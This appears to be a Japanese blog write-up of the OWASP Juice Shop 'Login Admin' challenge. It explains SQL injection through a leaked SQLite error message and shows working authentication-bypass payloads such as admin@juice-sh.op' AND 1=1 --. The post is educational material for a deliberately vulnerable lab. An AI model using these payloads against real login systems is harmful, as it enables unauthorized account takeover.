Skip to content
shunsei.dev
Go back

SQLインジェクションから脆弱性について考えてみる

Edit page

はじめに

この記事では、Juice Shopの「Login Admin」チャレンジを通して、SQLインジェクションの基本的な仕組み、ペイロードの考え方、そして対策について紹介します。本記事で紹介する内容は学習目的であり、許可された環境以外での試行は絶対にしないでください。

OWASP Juice Shopについて

OWASP Juice ShopはWebアプリケーションの脆弱性を安全に学べるように作られた、意図的に脆弱性を持つECサイト風アプリケーションです。私はWindows環境で普段開発していますが、kali Linuxを使えば簡単にDockerで起動できましたので、以下の記事を参考に構築してみてください。

仮想環境(VirtualBox 7.0)にKali Linux 2023.1をインストール(手順) | AIを武器にホワイトハッカーになる
2021年に、「ディスクトップパソコンに仮想環境を作成してKali Linux 2021.3をインストール(手順)」の記事を作成しました。 その後、何度かアップデートをしていると思...
仮想環境(VirtualBox 7.0)にKali Linux 2023.1をインストール(手順) | AIを武器にホワイトハッカーになる favicon whitemarkn.com
仮想環境(VirtualBox 7.0)にKali Linux 2023.1をインストール(手順) | AIを武器にホワイトハッカーになる

Login Adminチャレンジの流れ

以下のコマンドでJuice Shopを起動します。

docker run --rm -p 3000:3000 bkimminich/juice-shop

Juice Shopが起動したら右上のAccountからログイン画面に遷移してください。

目標は管理者アカウントでログイン、になります。 ここで初期調査として、以下を試します。

ここで基本的なペイロード「’ OR ‘1’=‘1」を試してみます。

ブラウザのネットワークタブで何やら複雑なレスポンスが返ってきました。 レスポンスボディにエラーメッセージと共に、SQLの断片らしき文字列が含まれていることを確認します。 ここから、パスワード認証を回避するためのペイロードを組み立てます。 結論から言うと、「admin@juice-sh.op’ AND 1=1 —」で認証を突破することができます。 解説は後述します。

解読~エラーメッセージはヒントの宝庫~

このセクションでは、エラーメッセージやSQLの断片から、どのようにして攻撃の糸口を見つけ、ペイロードを調整していったかの思考プロセスを記述します。

エラーメッセージの分析

最初に試したペイロード「’ OR ‘1’=‘1」で返ってきたエラーメッセージは以下でした。

{
  "error": {
    "message": "SQLITE_ERROR: near \"b50cd72da9f57f8bf6880303ff5b7622\": syntax error",
    "stack": "Error\n    at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n    at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n    at new Promise (<anonymous>)\n    at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n    at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)",
    "name": "SequelizeDatabaseError",
    "parent": {
      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL"
    },
    "original": {
      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL"
    },
    "sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL",
    "parameters": {}
  }
}

このエラーから入力したシングルクォートがSQLクエリの文字列リテラルを破壊し、その後の OR ‘1’=‘1’ がSQL構文として解釈されようとしてエラーになったのではないかと推測しました。sqlキーの値を見ると、以下のクエリが発行されていることが分かります。

SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL

目標は「管理者アカウントでログイン」です。単純なペイロードでは、どのユーザーでログインできるか絞りにくいです。そこで、email フィールドに「admin@juice-sh.op」を指定しつつ、その後の AND password = … の部分を無効化する必要があると考えました。 ここまでのプロセスをまとめると以下です。

  1. 基本的なペイロードを試す
  2. SQLが含まれているレスポンスが返ってくる
  3. SQLクエリの構造から、どんなクエリが発行されているか仮説を立てる
  4. クエリの一部を無効化してログインできる方法を考える これらの情報から以下のペイロードを組み立てました。
admin@juice-sh.op' AND 1=1 --

admin@juice-sh.op でまず email の文字列リテラルを閉じ、その後に条件 AND 1=1(常に真)を挿入し、最後に — で残りをコメントアウトするというペイロードです。

なぜこれでログインできた?SQLインジェクションの仕組み

改めて、なぜこのペイロードでログインできたのか見ていきます。

SELECT * FROM Users WHERE email = '【ユーザー入力のメール】' AND password = '【ユーザー入力のパスワード】';
SELECT * FROM Users WHERE email = 'admin@juice-sh.op' AND 1=1 -- ' AND password = '...';

ポイントとしては以下になります。

ペイロードの種類

このセクションでは、SQLインジェクションで使われる代表的なペイロードのパターンをいくつか紹介します。

認証バイパス系ペイロード

コメントアウトの種類

UNIONベースのSQLインジェクション (情報漏洩)

攻撃を防ぐための基本的な対策

ここまで攻撃側の視点で話をしましたが、どんな対策を取れば良いのかについて紹介します。

最後に

「Login Admin」チャレンジを通して、SQLインジェクションの脅威と対策の重要性を実践的に学べたこと、そして何より「解読」していく過程の面白さを体験できました。 Juice Shopには他にもたくさんのチャレンジがあり、今後も挑戦したいです。 Webセキュリティの学習は試行錯誤の連続ですが、実際に手を動かし、現象を分析することで理解が深まる楽しさもあるので、皆さんもやってみてはいかがでしょうか。 皆さんもぜひOWASP Juice Shopで、安全なハッキング体験を通じて多くを学んでみてください。この記事が少しでもその一助となれば幸いです。


Edit page
Share this post on:

Previous Post
「暗号化してからMAC」がなぜ重要か? セキュリティの基本原則を理解する
Next Post
Go言語でのMCPサーバーSDKの存在について